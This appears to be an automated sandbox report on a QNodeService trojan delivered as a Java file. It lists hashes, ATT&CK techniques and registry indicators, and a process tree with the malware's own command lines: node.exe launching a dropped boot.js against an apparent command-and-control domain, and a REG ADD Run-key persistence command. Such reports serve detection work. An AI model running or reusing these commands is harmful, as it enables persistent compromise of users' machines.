qnodeservice | 7266877e50b850d7e9ef7f151a1596df36d116ac6d0d9ad6bfb4641348430c36

General

Target

shipmentupdate~infromation.jar
Size

72KB
MD5

9b1a66b4b6c9852d9849f4181c520f1f
SHA1

7ab5dd37c8c02992c24f2a3ab911bd0798b29df6
SHA256

7266877e50b850d7e9ef7f151a1596df36d116ac6d0d9ad6bfb4641348430c36
SHA512

675c198a8dbff25d9410f468edf0197e438a0ca10987e5edbff46c9cdf6dd3379a5855b20f7d426b8496342245d3c8b5a9fbe37ca42d062648f3580424b55011

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1464	node.exe
3992	node.exe
2280	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\a570cf9a-4ebc-44c0-a145-d16d9fce6a02 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000200000001ab4f-167.dat	js
behavioral2/files/0x000200000001ab4f-172.dat	js
behavioral2/files/0x000200000001ab4f-176.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1464	node.exe
1464	node.exe
1464	node.exe
1464	node.exe
3992	node.exe
3992	node.exe
3992	node.exe
3992	node.exe
2280	node.exe
2280	node.exe
2280	node.exe
2280	node.exe
2280	node.exe
2280	node.exe
2280	node.exe
2280	node.exe
2280	node.exe
2280	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 796 wrote to memory of 2136	796	java.exe	76
PID 796 wrote to memory of 2136	796	java.exe	76
PID 2136 wrote to memory of 1464	2136	javaw.exe	80
PID 2136 wrote to memory of 1464	2136	javaw.exe	80
PID 1464 wrote to memory of 3992	1464	node.exe	82
PID 1464 wrote to memory of 3992	1464	node.exe	82
PID 3992 wrote to memory of 2280	3992	node.exe	83
PID 3992 wrote to memory of 2280	3992	node.exe	83
PID 2280 wrote to memory of 1020	2280	node.exe	85
PID 2280 wrote to memory of 1020	2280	node.exe	85
PID 1020 wrote to memory of 2864	1020	cmd.exe	86
PID 1020 wrote to memory of 2864	1020	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\shipmentupdate~infromation.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:796
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\c7880854.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain lightstamps.website
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1464
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_cv5Y5c\boot.js --hub-domain lightstamps.website
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3992
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_cv5Y5c\boot.js --hub-domain lightstamps.website
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2280
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a570cf9a-4ebc-44c0-a145-d16d9fce6a02" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1020
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a570cf9a-4ebc-44c0-a145-d16d9fce6a02" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1464-170-0x000002085EDC0000-0x000002085EDC1000-memory.dmp

Filesize
4KB

Download
memory/2280-177-0x000003B6CC040000-0x000003B6CC041000-memory.dmp

Filesize
4KB

Download
memory/3992-173-0x0000007DBF080000-0x0000007DBF081000-memory.dmp

Filesize
4KB

Download

Analysis

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